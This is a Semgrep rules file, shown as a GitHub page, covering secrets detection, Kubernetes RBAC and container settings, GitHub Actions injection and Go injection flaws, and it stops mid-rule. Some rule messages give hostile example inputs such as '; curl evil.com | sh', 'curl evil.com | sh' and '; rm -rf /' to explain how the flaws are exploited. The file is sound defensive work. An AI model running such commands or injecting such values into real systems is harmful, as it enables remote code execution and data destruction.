forked from opendatahub-io/model-registry-operator
-
Notifications
You must be signed in to change notification settings - Fork 13
Expand file tree
/
Copy pathsemgrep.yaml
More file actions
1873 lines (1634 loc) · 62.2 KB
/
semgrep.yaml
File metadata and controls
1873 lines (1634 loc) · 62.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Unified Semgrep Security Rules
# Template Version: 3.0.0
# Generated by security-findings-manager plugin
#
# This is a single unified configuration covering all supported languages:
# - Go (Kubernetes controllers and operators)
# - Python (ML/Data Science services and pipelines)
# - TypeScript / JavaScript (React frontends)
# - YAML (Kubernetes manifests, GitHub Actions workflows)
# - Generic patterns (secrets detection across all file types)
#
# Semgrep automatically skips rules whose language is not present in the
# scanned repository, so it is safe to include all rules in every repo.
#
# Deduplicated from per-language templates:
# semgrep-kubernetes-operator.yaml, semgrep-python.yaml,
# semgrep-typescript.yaml, semgrep-generic.yaml
rules:
# ==========================================================================
# SECTION 1: GENERIC SECRETS DETECTION — Applies to all file types
# ==========================================================================
- id: generic-hardcoded-secret
languages: [generic]
severity: ERROR
message: |
Potential hardcoded secret detected (CWE-798).
Pattern matches: password, passwd, pwd, secret, token, api_key, apikey, private_key
Security Risk: Credentials in source code are visible in:
- Git history (even if deleted later)
- Container images
- CI/CD logs
- Backup systems
Remediation: Use environment variables or secret management:
- Kubernetes: Use Secrets or SealedSecrets
- GitHub Actions: Use repository/organization secrets
- Local development: Use .env files (add to .gitignore)
If this is a test fixture or example:
- Add comment: # nosemgrep: generic-hardcoded-secret
- Or use obviously fake values: password = "FAKE"
patterns:
- pattern-regex: |-
(?i)(password|passwd|pwd|secret|token|api[_-]?key|private[_-]?key)\s*[:=]+\s*["'][^"']{8,}["']
metadata:
cwe: "CWE-798"
owasp: "A07:2021 - Identification and Authentication Failures"
category: "security"
- id: generic-aws-access-key
languages: [generic]
severity: ERROR
message: |
AWS Access Key ID detected (AKIA...).
Format: AKIA[0-9A-Z]{16}
Immediate Action:
1. Rotate this key in AWS IAM console immediately
2. Check CloudTrail for unauthorized access
3. Revoke any sessions using this key
Prevention:
- Use IAM roles for EC2/ECS/Lambda (no keys needed)
- Use IAM roles for service accounts (IRSA) in Kubernetes
- Store keys in AWS Secrets Manager or SSM Parameter Store
- Enable AWS CloudTrail for key usage monitoring
False Positive: If this is documentation/example, replace with:
AKIA...EXAMPLE (redacted AWS example key)
pattern-regex: 'AKIA[0-9A-Z]{16}'
metadata:
cwe: "CWE-798"
category: "security"
- id: generic-aws-secret-access-key
languages: [generic]
severity: ERROR
message: |
AWS Secret Access Key detected.
Pattern: 40-character base64 string (often paired with AKIA... access key)
Immediate Action: Rotate both access key and secret key immediately.
Note: This may have false positives for other base64 strings.
pattern-regex: |-
(?i)(aws_secret_access_key|aws[_-]?secret)\s*[:=]\s*["'][A-Za-z0-9/+=]{40}["']
metadata:
cwe: "CWE-798"
category: "security"
- id: generic-private-key
languages: [generic]
severity: ERROR
message: |
Private key detected in code.
Security Risk: Private keys in source code compromise PKI security:
- SSL/TLS certificates (MITM attacks possible)
- SSH keys (unauthorized server access)
- Code signing certificates (malware distribution)
Remediation:
- Remove from code immediately
- Revoke and regenerate keypair
- Use Kubernetes TLS secrets or cert-manager for certificates
- Use SSH agent or credential managers for SSH keys
If this is documentation or a test fixture, consider suppressing the finding.
pattern-regex: '-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'
metadata:
cwe: "CWE-798"
category: "security"
- id: generic-github-token
languages: [generic]
severity: ERROR
message: |
GitHub Personal Access Token detected.
Format: ghp_[A-Za-z0-9]{36} (classic) or github_pat_[A-Za-z0-9_]+ (fine-grained)
Immediate Action:
1. Revoke token at https://github.com/settings/tokens
2. Check audit log for unauthorized access
3. Rotate all tokens with same permissions
Prevention:
- Use GitHub Apps instead of PATs (scoped permissions, audit trail)
- Use GITHUB_TOKEN in Actions (automatic, scoped to workflow)
- Set token expiration (max 90 days)
pattern-regex: '(ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+)'
metadata:
cwe: "CWE-798"
category: "security"
- id: generic-slack-webhook
languages: [generic]
severity: ERROR
message: |
Slack Webhook URL detected.
Format: https://hooks.slack.com/services/T.../B.../...
Security Risk: Webhook URL allows posting to Slack channel (spam, phishing).
Remediation: Regenerate webhook in Slack workspace settings.
pattern-regex: 'https://hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+'
metadata:
cwe: "CWE-798"
category: "security"
- id: generic-google-api-key
languages: [generic]
severity: ERROR
message: |
Google API Key detected.
Format: AIza[A-Za-z0-9_-]{35}
Immediate Action:
1. Revoke key in Google Cloud Console
2. Check usage logs for unauthorized requests
3. Rotate all API keys
Prevention: Use service accounts with IAM instead of API keys.
pattern-regex: 'AIza[A-Za-z0-9_-]{35}'
metadata:
cwe: "CWE-798"
category: "security"
# ==========================================================================
# SECTION 2: KUBERNETES RBAC SECURITY — Privilege Escalation Prevention
# ==========================================================================
- id: k8s-rbac-wildcard-resources
languages: [yaml]
severity: ERROR
message: |
RBAC rule allows wildcard resources ["*"] - enables privilege escalation (CWE-269).
Attack Vector: A compromised pod with this ClusterRole can access ALL resource types
including Secrets, which may contain credentials for further lateral movement.
Remediation: Use specific resource names:
resources: ["pods", "services", "configmaps", "deployments"]
References:
- CWE-269: Improper Privilege Management
- OWASP A01:2021 - Broken Access Control
patterns:
- pattern: |
resources:
- "*"
- pattern-inside: |
kind: ClusterRole
...
- pattern-not-inside: |
# Exclude test fixtures
metadata:
namespace: test
metadata:
cwe: "CWE-269"
owasp: "A01:2021"
category: "security"
- id: k8s-rbac-wildcard-verbs
languages: [yaml]
severity: ERROR
message: |
RBAC rule allows wildcard verbs ["*"] - enables privilege escalation (CWE-269).
Attack Vector: Grants all permissions (get, list, create, update, patch, delete, deletecollection).
A compromised pod can delete critical resources or modify RBAC rules to escalate privileges.
Remediation: Use specific verbs based on least privilege:
verbs: ["get", "list", "watch"] # Read-only
verbs: ["create", "update"] # Write permissions
Never allow: ["escalate", "impersonate", "bind"] - these enable direct privilege escalation.
patterns:
- pattern: |
verbs:
- "*"
- pattern-inside: |
kind: ClusterRole
...
metadata:
cwe: "CWE-269"
owasp: "A01:2021"
category: "security"
- id: k8s-rbac-dangerous-verbs
languages: [yaml]
severity: ERROR
message: |
RBAC rule contains dangerous verbs that enable privilege escalation.
Dangerous verbs:
- "escalate": Allows modifying RBAC rules to grant higher privileges
- "impersonate": Allows acting as other users/service accounts
- "bind": Allows binding ClusterRoles without owning all permissions
Remediation: Remove dangerous verbs. Use specific permissions instead.
pattern-either:
- pattern: |
verbs:
- ...
- "escalate"
- ...
- pattern: |
verbs:
- ...
- "impersonate"
- ...
- pattern: |
verbs:
- ...
- "bind"
- ...
metadata:
cwe: "CWE-269"
category: "security"
- id: k8s-rbac-cluster-admin-binding
languages: [yaml]
severity: WARNING
message: |
Binding to cluster-admin detected (CWE-269).
The cluster-admin ClusterRole grants unrestricted access to ALL resources in ALL namespaces.
This is almost never needed for application workloads.
Remediation: Create a custom ClusterRole with least-privilege permissions:
kind: ClusterRole
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "watch"]
patterns:
- pattern: |
roleRef:
name: cluster-admin
...
metadata:
cwe: "CWE-269"
category: "security"
- id: k8s-rbac-broad-subject
languages: [yaml]
severity: ERROR
message: |
RBAC binding to system:authenticated or system:unauthenticated (CWE-269).
These groups include ALL authenticated/unauthenticated users in the cluster.
Binding to these grants access to every user, including service accounts
from all namespaces.
Remediation: Bind to specific ServiceAccounts, Users, or Groups instead.
patterns:
- pattern-either:
- pattern: |
subjects:
- kind: Group
name: system:authenticated
- pattern: |
subjects:
- kind: Group
name: system:unauthenticated
metadata:
cwe: "CWE-269"
category: "security"
- id: k8s-rbac-create-persistentvolumes
languages: [yaml]
severity: WARNING
message: |
Permission to create PersistentVolumes can enable host-level privilege escalation (CWE-269).
A ClusterRole with create access to PersistentVolumes can provision hostPath PVs,
allowing pods to mount arbitrary host directories.
Remediation: Restrict PV creation to cluster administrators only.
Use PersistentVolumeClaims for application workloads.
patterns:
- pattern: |
kind: ClusterRole
...
rules:
- ...
resources:
- persistentvolumes
...
verbs:
- create
metadata:
cwe: "CWE-269"
category: "security"
- id: k8s-rbac-aggregated-clusterrole
languages: [yaml]
severity: INFO
message: |
Aggregated ClusterRole detected.
Review aggregation selectors carefully to prevent unintended permission grants.
Aggregated roles can accumulate unexpected permissions if selectors are too broad.
patterns:
- pattern: |
aggregationRule:
...
- pattern-inside: |
kind: ClusterRole
...
metadata:
category: "security"
note: "Not necessarily dangerous, but aggregated roles can accumulate unexpected permissions if selectors are too broad"
- id: k8s-rbac-secrets-cluster-access
languages: [yaml]
severity: WARNING
message: |
ClusterRole grants secret access (get/list/watch) across all namespaces (CWE-200).
Secrets may contain credentials, TLS certificates, and other sensitive data.
Cluster-wide access allows reading secrets from all namespaces.
Remediation: Use namespace-scoped Role instead of ClusterRole for secrets access
unless cross-namespace access is explicitly required.
patterns:
- pattern: |
resources:
- secrets
- pattern-either:
- pattern-inside: |
kind: ClusterRole
...
rules:
- verbs:
- get
- pattern-inside: |
kind: ClusterRole
...
rules:
- verbs:
- list
- pattern-inside: |
kind: ClusterRole
...
rules:
- verbs:
- watch
metadata:
cwe: "CWE-200"
category: "security"
- id: k8s-rolebinding-references-clusterrole
languages: [yaml]
severity: WARNING
message: |
RoleBinding references a ClusterRole (CWE-269).
While this is a valid Kubernetes pattern for namespace-scoping cluster-level
permissions, it deserves review to ensure the referenced ClusterRole does not
grant more permissions than intended for this namespace.
Remediation: Verify the referenced ClusterRole has appropriate permissions.
Consider creating a namespace-scoped Role if only specific permissions are needed.
patterns:
- pattern: |
kind: RoleBinding
...
roleRef:
kind: ClusterRole
...
metadata:
cwe: "CWE-269"
category: "security"
# ==========================================================================
# SECTION 3: KUBERNETES CONTAINER SECURITY
# ==========================================================================
- id: k8s-privileged-container
languages: [yaml]
severity: ERROR
message: |
Container runs in privileged mode - allows host access (CWE-250).
Attack Vector: Privileged containers can access host devices, mount host filesystems,
and bypass all Linux security modules (SELinux, AppArmor). This enables container escape.
Remediation: Remove "privileged: true". Use specific capabilities if needed:
securityContext:
capabilities:
add: ["NET_ADMIN"] # Only grant specific capabilities
pattern: |
securityContext:
...
privileged: true
...
metadata:
cwe: "CWE-250"
owasp: "A01:2021"
category: "security"
- id: k8s-missing-security-context-runAsNonRoot
languages: [yaml]
severity: WARNING
message: |
Pod/Container missing securityContext.runAsNonRoot.
Best Practice: Containers should not run as root (UID 0) to limit impact of container escape.
Remediation: Add to pod or container spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000 # Non-root UID
patterns:
- pattern-inside: |
kind: $KIND
...
- metavariable-regex:
metavariable: $KIND
regex: ^(Deployment|StatefulSet|DaemonSet|Pod)$
- pattern-not: |
securityContext:
...
runAsNonRoot: true
...
metadata:
category: "security"
severity: "warning"
- id: k8s-hostpath-mount
languages: [yaml]
severity: ERROR
message: |
Container mounts hostPath volume - allows host filesystem access (CWE-653).
Attack Vector: hostPath mounts bypass container isolation. A compromised pod can
read/write host files including /etc/shadow, SSH keys, or Kubernetes secrets.
Remediation: Use PersistentVolumeClaims, ConfigMaps, or Secrets instead.
If hostPath is absolutely necessary (e.g., DaemonSet for node monitoring),
mount as readOnly and restrict to specific paths.
pattern: |
volumes:
- name: $NAME
hostPath:
path: $PATH
metadata:
cwe: "CWE-653"
category: "security"
- id: k8s-secret-in-configmap
languages: [yaml]
severity: ERROR
message: |
Secret value stored in ConfigMap instead of Secret.
Security Risk: ConfigMaps are not designed for sensitive data:
- Not encrypted at rest by default
- Visible in kubectl get configmap -o yaml
- No audit logging for access
- May be logged by monitoring tools
Remediation: Use Secret instead:
apiVersion: v1
kind: Secret
metadata:
name: my-secret
type: Opaque
data:
password: <base64-encoded-value>
Or use external secret management: SealedSecrets, external-secrets, Vault.
patterns:
- pattern-either:
- pattern: |
kind: ConfigMap
...
data:
password: $VALUE
- pattern: |
kind: ConfigMap
...
data:
token: $VALUE
- pattern: |
kind: ConfigMap
...
data:
apiKey: $VALUE
metadata:
cwe: "CWE-522"
category: "security"
- id: yaml-hardcoded-secret
languages: [yaml]
severity: WARNING
message: |
Potential hardcoded secret in YAML file.
Keys matching: password, passwd, secret, token, apiKey, privateKey
Remediation: Move secrets to environment variables or secret management.
pattern-regex: |-
(?i)^[[:space:]]*(password|passwd|secret|token|api[_-]?key|private[_-]?key):[[:space:]]*["']?[^"'\s]{8,}
metadata:
cwe: "CWE-798"
category: "security"
- id: k8s-pod-automount-token
languages: [yaml]
severity: WARNING
message: |
Workload explicitly enables automountServiceAccountToken (CWE-200).
When enabled, the ServiceAccount token is mounted into the pod at
/var/run/secrets/kubernetes.io/serviceaccount/token. If the pod is
compromised, the attacker can use this token to access the Kubernetes API.
Remediation: Set automountServiceAccountToken: false if the pod doesn't
need Kubernetes API access (most application pods don't).
pattern-either:
# Match Pod directly
- patterns:
- pattern: |
automountServiceAccountToken: true
- pattern-inside: |
kind: Pod
...
# Match Deployment, StatefulSet, DaemonSet, ReplicaSet pod template
- patterns:
- pattern: |
automountServiceAccountToken: true
- pattern-inside: |
kind: $KIND
...
spec:
...
template:
...
- metavariable-regex:
metavariable: $KIND
regex: (Deployment|StatefulSet|DaemonSet|ReplicaSet)
# Match Job pod template
- patterns:
- pattern: |
automountServiceAccountToken: true
- pattern-inside: |
kind: Job
...
spec:
...
template:
...
# Match CronJob pod template (nested under jobTemplate)
- patterns:
- pattern: |
automountServiceAccountToken: true
- pattern-inside: |
kind: CronJob
...
spec:
...
jobTemplate:
...
spec:
...
template:
...
metadata:
cwe: "CWE-200"
category: "security"
- id: k8s-pod-default-serviceaccount
languages: [yaml]
severity: WARNING
message: |
Workload uses default ServiceAccount (CWE-250).
The default ServiceAccount may have more permissions than needed.
Each workload should use a dedicated ServiceAccount with minimal RBAC
permissions following the principle of least privilege.
Remediation: Create a dedicated ServiceAccount:
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-app-sa
pattern-either:
# Match Pod directly — explicit default
- pattern: |
kind: Pod
...
spec:
...
serviceAccountName: default
# Match Pod directly — no SA specified
- patterns:
- pattern: |
kind: Pod
...
spec:
...
- pattern-not: |
serviceAccountName: $SA
# Match controllers — explicit default
- patterns:
- pattern: |
spec:
...
template:
...
spec:
...
serviceAccountName: default
- pattern-inside: |
kind: $KIND
...
- metavariable-regex:
metavariable: $KIND
regex: (Deployment|StatefulSet|DaemonSet|ReplicaSet|Job)
# Match controllers — no SA specified (implicit default)
- patterns:
- pattern: |
spec:
...
template:
...
spec:
...
- pattern-not: |
spec:
...
template:
...
spec:
...
serviceAccountName: $SA
- pattern-inside: |
kind: $KIND
...
- metavariable-regex:
metavariable: $KIND
regex: (Deployment|StatefulSet|DaemonSet|ReplicaSet|Job)
# Match CronJob — explicit default
- patterns:
- pattern: |
spec:
...
jobTemplate:
...
spec:
...
template:
...
spec:
...
serviceAccountName: default
- pattern-inside: |
kind: CronJob
...
# Match CronJob — no SA specified (implicit default)
- patterns:
- pattern: |
spec:
...
jobTemplate:
...
spec:
...
template:
...
spec:
...
- pattern-not: |
spec:
...
jobTemplate:
...
spec:
...
template:
...
spec:
...
serviceAccountName: $SA
- pattern-inside: |
kind: CronJob
...
metadata:
cwe: "CWE-250"
category: "security"
# ==========================================================================
# SECTION 4: GITHUB ACTIONS SECURITY — Workflow files
# ==========================================================================
- id: github-actions-hardcoded-secret
languages: [yaml]
severity: ERROR
message: |
Hardcoded secret in GitHub Actions workflow.
Security Risk: Secrets in workflows are visible in git history and to all collaborators.
Remediation: Use GitHub Secrets:
env:
API_KEY: ${{ secrets.API_KEY }}
Add secret at: Repository Settings > Secrets and variables > Actions > New repository secret
patterns:
- pattern-either:
- pattern: |
env:
$KEY: $VALUE
- pattern: |
with:
$KEY: $VALUE
- metavariable-regex:
metavariable: $KEY
regex: (?i)(password|passwd|token|api[_-]?key|secret)
- metavariable-pattern:
metavariable: $VALUE
patterns:
- pattern-not: ${{ secrets.$SECRET }}
- pattern-not: ${{ env.$ENV }}
paths:
include:
- "**/.github/workflows/*.yml"
- "**/.github/workflows/*.yaml"
metadata:
cwe: "CWE-798"
category: "security"
- id: github-actions-script-injection
languages: [generic]
severity: ERROR
message: |
GitHub Actions expression injection in workflow run block (CWE-78).
Attack Vector: Attacker-controlled values from PR titles, issue bodies, branch names,
or commit messages are interpolated directly into shell commands:
run: echo "${{ github.event.pull_request.title }}"
# PR title: "; curl evil.com | sh"
Dangerous fields (attacker-controlled text):
- github.event.issue.title / body
- github.event.pull_request.title / body / head.ref
- github.event.comment.body
- github.event.review.body
- github.event.discussion.title / body
- github.event.head_commit.message
- github.head_ref
Safe fields (constrained values - do not flag):
- github.event.number, github.event.action, github.sha, github.actor
Remediation: Move to environment variable (shell handles escaping):
- name: Process PR
run: echo "$TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
patterns:
- pattern-regex: 'run:\s*(?:[|>][-+]?\n(?:[ \t]+[^\n]*\n)*|[^\n]*)\$\{\{\s*github\.(head_ref|event\.(issue|pull_request|discussion|review|review_comment|comment)\.(title|body|head\.ref|head\.label)|event\.head_commit\.message|event\.commits\[\d+\]\.message)\s*\}\}'
paths:
include:
- "**/.github/workflows/*.yml"
- "**/.github/workflows/*.yaml"
metadata:
cwe: "CWE-78"
owasp: "A03:2021 - Injection"
category: "security"
references:
- "https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections"
- id: github-actions-pull-request-target-checkout
languages: [generic]
severity: WARNING
message: |
Unsafe checkout in pull_request_target workflow (CWE-829).
Attack Vector: pull_request_target runs with WRITE token and access to secrets.
If the workflow checks out the PR head code, a malicious PR can:
1. Modify build scripts to steal secrets
2. Push malicious code with write permissions
3. Execute arbitrary commands with elevated privileges
Unsafe patterns (flag these):
ref: ${{ github.event.pull_request.head.sha }}
ref: ${{ github.event.pull_request.head.ref }}
Safe patterns (do not flag):
- No ref specified (defaults to base branch)
- ref: refs/pull/${{ github.event.number }}/merge
- ref: ${{ github.event.pull_request.base.sha }}
Remediation:
- Use artifact passing between workflows instead of direct checkout
- If checkout is needed, use merge commit: refs/pull/${{ github.event.number }}/merge
- Add persist-credentials: false to limit token scope
patterns:
- pattern-regex: 'pull_request_target[\s\S]*?uses:\s*actions/checkout@[^\n]*\n(\s+[\w-]+:.*\n)*\s+ref:\s*\$\{\{[^\}]*pull_request\.head\.(sha|ref)\s*\}\}'
paths:
include:
- "**/.github/workflows/*.yml"
- "**/.github/workflows/*.yaml"
metadata:
cwe: "CWE-829"
category: "security"
references:
- "https://securitylab.github.com/research/github-actions-preventing-pwn-requests/"
# ==========================================================================
# SECTION 5: GO SECURITY — Kubernetes Controllers & Operators
# ==========================================================================
- id: go-exec-command-shell-injection
languages: [go]
severity: ERROR
message: |
Command injection via shell execution (CWE-78).
Attack Vector: User-controlled input from CR spec can be injected into shell commands:
exec.Command("/bin/sh", "-c", "echo " + cr.Spec.UserInput)
Input like: "; rm -rf /" would execute arbitrary commands.
Remediation: Use exec.Command with separate arguments (no shell):
cmd := exec.Command("echo", cr.Spec.UserInput) # Safe - no shell interpretation
Or validate input with allowlist regex before using in shell commands.
patterns:
- pattern-either:
- pattern: exec.Command("/bin/sh", "-c", ...)
- pattern: exec.Command("sh", "-c", ...)
- pattern: exec.Command("/bin/bash", "-c", ...)
- pattern: exec.Command("bash", "-c", ...)
metadata:
cwe: "CWE-78"
owasp: "A03:2021"
category: "security"
- id: go-tls-insecure-skip-verify
languages: [go]
severity: ERROR
message: |
TLS certificate verification disabled (CWE-295).
Attack Vector: Enables Man-in-the-Middle attacks. Attacker can intercept traffic
to external APIs and steal credentials or manipulate responses.
Remediation: Remove "InsecureSkipVerify: true" and use proper certificate validation.
For custom CAs, add to system trust store or use custom RootCAs.
pattern: |
&tls.Config{
...,
InsecureSkipVerify: true,
...
}
metadata:
cwe: "CWE-295"
owasp: "A02:2021"
category: "security"
- id: go-kubernetes-client-no-owner-reference
languages: [go]
severity: WARNING
message: |
Creating Kubernetes resource without OwnerReference.
Best Practice: Child resources should have OwnerReferences to their parent CR.
Without this, resources become orphaned when the CR is deleted (garbage collection fails).
Remediation: Use controller-runtime helper:
import "sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
if err := controllerutil.SetControllerReference(parentCR, childResource, r.Scheme); err != nil {
return err
}
if err := r.Create(ctx, childResource); err != nil {
return err
}
patterns:
- pattern: $CLIENT.Create($CTX, $RESOURCE)
- pattern-not-inside: |
controllerutil.SetControllerReference(...)
...
$CLIENT.Create($CTX, $RESOURCE)
metadata:
category: "best-practice"
- id: go-cr-spec-to-configmap-without-validation
languages: [go]
severity: ERROR
message: |
CR spec field used in ConfigMap without validation - enables injection attacks.
Attack Vector: User can create CR with malicious data that gets injected into pods:
apiVersion: v1
kind: MyCR
spec:
command: "curl evil.com | sh" # Attacker-controlled
If operator creates ConfigMap/Secret with this data and pod uses it in command,
attacker achieves remote code execution.
Remediation: Validate CR spec fields before storing in ConfigMap:
- Check length limits (prevent resource exhaustion)
- Validate character patterns (no shell metacharacters: $, `, |, ;, &)
- Use allowlist regex for expected formats
- Sanitize or reject invalid input
patterns:
- pattern-either:
- pattern: |
Data: map[string]string{
...,
$KEY: $CR.Spec.$FIELD,
...,
}
- pattern: |
Data[$KEY] = $CR.Spec.$FIELD
- pattern-inside: |
&corev1.ConfigMap{
...
}
- pattern-not-inside: |
if $VALIDATION {
...
}
metadata:
cwe: "CWE-20"
category: "security"
- id: go-sql-injection
languages: [go]
severity: ERROR
message: |
SQL injection vulnerability (CWE-89).
Attack Vector: User input concatenated into SQL query:
query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
Input like "1 OR 1=1" would bypass authentication or leak data.
Remediation: Use parameterized queries:
db.Query("SELECT * FROM users WHERE id = ?", userID)
patterns:
- pattern-either:
- pattern: $DB.Query(fmt.Sprintf(..., $INPUT, ...), ...)
- pattern: $DB.Exec(fmt.Sprintf(..., $INPUT, ...), ...)
- pattern: $DB.Query($QUERY + $INPUT, ...)
- pattern: $DB.Exec($QUERY + $INPUT, ...)
metadata: